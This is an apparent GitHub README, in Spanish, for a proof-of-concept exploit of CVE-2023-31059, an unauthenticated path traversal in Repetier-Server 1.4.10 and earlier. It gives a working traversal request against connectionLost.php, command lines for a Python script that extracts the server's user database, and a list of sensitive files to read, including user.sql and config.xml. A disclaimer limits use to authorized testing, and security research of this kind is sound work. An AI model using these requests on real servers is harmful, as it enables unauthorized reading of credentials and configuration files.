mbanyamer/cve-2023-31059-repetier-server-1.4.10-unauthenticated-path-traversalExploit de prueba de concepto para CVE-2023-31059, un path traversal no autenticado en Repetier-Server ≤1.4.10, que permite la lectura arbitraria de archivos mediante solicitudes HTTP manipuladas.
Autor: Mohammed Idrees Banyamer
Rol: Investigador de seguridad
País: Jordania 🇯🇴
Exploit de prueba de concepto para una vulnerabilidad de recorrido de ruta remoto no autenticado / LFI en Repetier‑Server ≤ 1.4.10.
La vulnerabilidad permite la lectura arbitraria de archivos mediante secuencias ..%5c manipuladas en el endpoint connectionLost.php.
| Campo | Valor |
|---|
| Producto | Repetier‑Server |
| Afectado | ≤ 1.4.10 |
| CVE | CVE‑2023‑31059 |
| Tipo | Recorrido de ruta / LFI |
| Autenticación | Ninguna |
| Vector | Red |
| Impacto | Lectura arbitraria de archivos |
| CVSS | 9.8 Crítico |
flowchart LR
A[Attacker] -->|HTTP request with ..%5c traversal| B[Repetier Server]
B --> C[base/connectionLost.php]
C -->|Unsanitized file parameter| D[Windows Filesystem]
D --> E[Sensitive File]
E --> B
B -->|File contents in HTTP response| AGET /base/connectionLost.php?file=..%5c..%5cWindows%5cwin.ini HTTP/1.1
Host: target:3344
# Test vulnerability
python3 CVE-2023-31059.py http://<target-ip>:3344/ --test
# Extract user database
python3 CVE-2023-31059.py http://<target-ip>:3344/ \
--file "ProgramData\\Repetier-Server\\database\\user.sql" \
--depth 20
pip install requests
ProgramData\Repetier-Server\database\user.sql
ProgramData\Repetier-Server\config.xml
Windows\win.ini
Windows\System32\drivers\etc\hosts
Este PoC se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. Úselo solo en sistemas que posea o para los que tenga permiso explícito para realizar pruebas.
GitHub: https://github.com/mbanyamer